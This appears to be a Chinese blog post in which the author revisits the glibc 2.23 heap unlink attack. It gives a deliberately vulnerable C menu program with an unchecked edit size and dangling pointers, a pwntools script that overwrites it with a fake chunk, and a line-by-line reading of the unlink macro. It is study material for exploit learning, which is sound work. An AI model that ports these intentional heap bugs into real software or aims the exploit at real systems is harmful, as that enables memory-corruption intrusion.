第二次学习Unlink-Exploit

August 5, 2019 PWN 访问: 24 次

写了一个小demo来再次学习一个unlink攻击手法!

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char *heap_list[10];
int index=0;
void meau()
{
    puts("--------------------");
    puts("1.create");
    puts("2.edit");
    puts("3.delete");
    puts("4.show");
    puts("5.exit");
    puts("--------------------");
}
void create()
{
    int you_size;
    puts("input size:");
    scanf("%d",&you_size);
    if(you_size<0)
    {
        puts("size error!");
    }else{
        heap_list[index]=malloc(you_size);
        puts("input content:");
        read(0,heap_list[index],you_size);
        index++;
        puts("success!");
    }
}
void edit()
{
    int you_index,you_size;
    puts("index:");
    scanf("%d",&you_index);
    if(you_index>index)
    {
        puts("index error!");
    }else{
        puts("edit size:");
        scanf("%d",&you_size);
        puts("input content:");
        read(0,heap_list[you_index],you_size);
        puts("success!");
    }
}
void delete()
{
    int you_index;
    puts("index:");
    scanf("%d",&you_index);
    if(you_index>index)
    {
        puts("index error!");
    }else{
        free(heap_list[you_index]);
        puts("success!");
    }
}
void show()
{
    int you_index;
    puts("index:");
    scanf("%d",&you_index);
    if(you_index>index)
    {
        puts("index error!");
    }else{
        puts(heap_list[you_index]);
        puts("success!");
    }
}
int main()
{
    int choose;
    while(1){
        meau();
        puts("you choose:");
        scanf("%d",&choose);
        switch(choose)
        {
            case 1:
                create();
                break;
            case 2:
                edit();
                break;
            case 3:
                delete();
                break;
            case 4:
                show();
                break;
            case 5:
                puts("exit!");
                return 0;
                break;
            default:
                puts("invalid choose!");
        }
    }
    return 0;
}

当执行到/root/glibc-2.23/malloc/malloc.c:4002时,

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

调试所用到的python代码:

from pwn import *
context.log_level = 'debug'
r = process("./test")
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+":"+hex(x))
def create(size,content):
    rud("you choose:\n")
    sl("1")
    rud("input size:\n")
    sl(str(size))
    rud("input content:\n")
    sl(content)
def edit(index,size,content):
    rud("you choose:\n")
    sl("2")
    rud("index:\n")
    sl(str(index))
    rud("edit size:")
    sl(str(size))
    rud("input content:\n")
    sl(content)
def delete(index):
    rud("you choose:\n")
    sl("3")
    rud("index:\n")
    sl(str(index))
def show(index):
    rud("you choose:\n")
    sl("4")
    rud("index:\n")
    sl(str(index))
create(0x80,"test_0")
create(0x80,"test_1")
create(0x20,"test_2")
target = 0x000000000601080
fd = target-0x18
bk = target-0x10
li("fd",fd)
li("bk",bk)
payload = "a"*8+p64(0x81)+p64(fd)+p64(bk)+"a"*0x60+p64(0x80)+p64(0x90)
edit(0,0x90,payload)
gdb.attach(r)
# delete(1)
# r.recv()
r.interactive()

查看当前P的值是0x19024b0,chunk具体的值如下所示:

pwndbg> p *(struct malloc_chunk *)0x19024b0
$4 = {
  prev_size = 128,
  size = 144,
  fd = 0xa315f74736574,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

也就是说当前p就是我们要free的chunk
一句一句分析
- prevsize = p->prev_size;获取到当前chunk的prev_size字段
- size += prevsize;将当前chunk的size加上prevsize(也就是上一个chunk的大小)
- p = chunk_at_offset(p, -((long) prevsize));指向当前chunk的指针向上太高了上一个chunk的总大小
- unlink(av, p, bck, fwd);,然后进入到unlink操作
原本我想的是进入到unlink里面去调试,但是没想到unlink是一个宏,然后又静态分析了一波unlink中得源码

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                   \
    BK = P->bk;                                   \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                    \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {            \
        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   "corrupted double-linked list (not small)",    \
                   P, AV);                        \
            if (FD->fd_nextsize == NULL) {                    \
                if (P->fd_nextsize == P)                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;             \
                else {                                \
                    FD->fd_nextsize = P->fd_nextsize;                 \
                    FD->bk_nextsize = P->bk_nextsize;                 \
                    P->fd_nextsize->bk_nextsize = FD;                 \
                    P->bk_nextsize->fd_nextsize = FD;                 \
                  }                               \
              } else {                                \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;             \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;             \
              }                                   \
          }                                   \
      }                                       \
}

首先对FD、BK赋初值

    FD = P->fd;                                   \
    BK = P->bk;

我们伪造得数据使得:

P  = 0x601080
FD = 0x601080-0x18
BK = 0x601080-0x10

下一步是检查chunk之间得关系,我们构造得数据恰恰可以绕过这个检查

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

然后到了最关键的两行代码:

        FD->bk = BK;                                  \
        BK->fd = FD;

把我们的数据带进去就是:

0x601068+0x18=0x601070
0x601070+0x10=0x601068

所以可以造成0x601080的位置被覆盖成0x601068

总结

经过再一次的分析和尝试,更加理解了这个漏洞的原理和触发点

添加新评论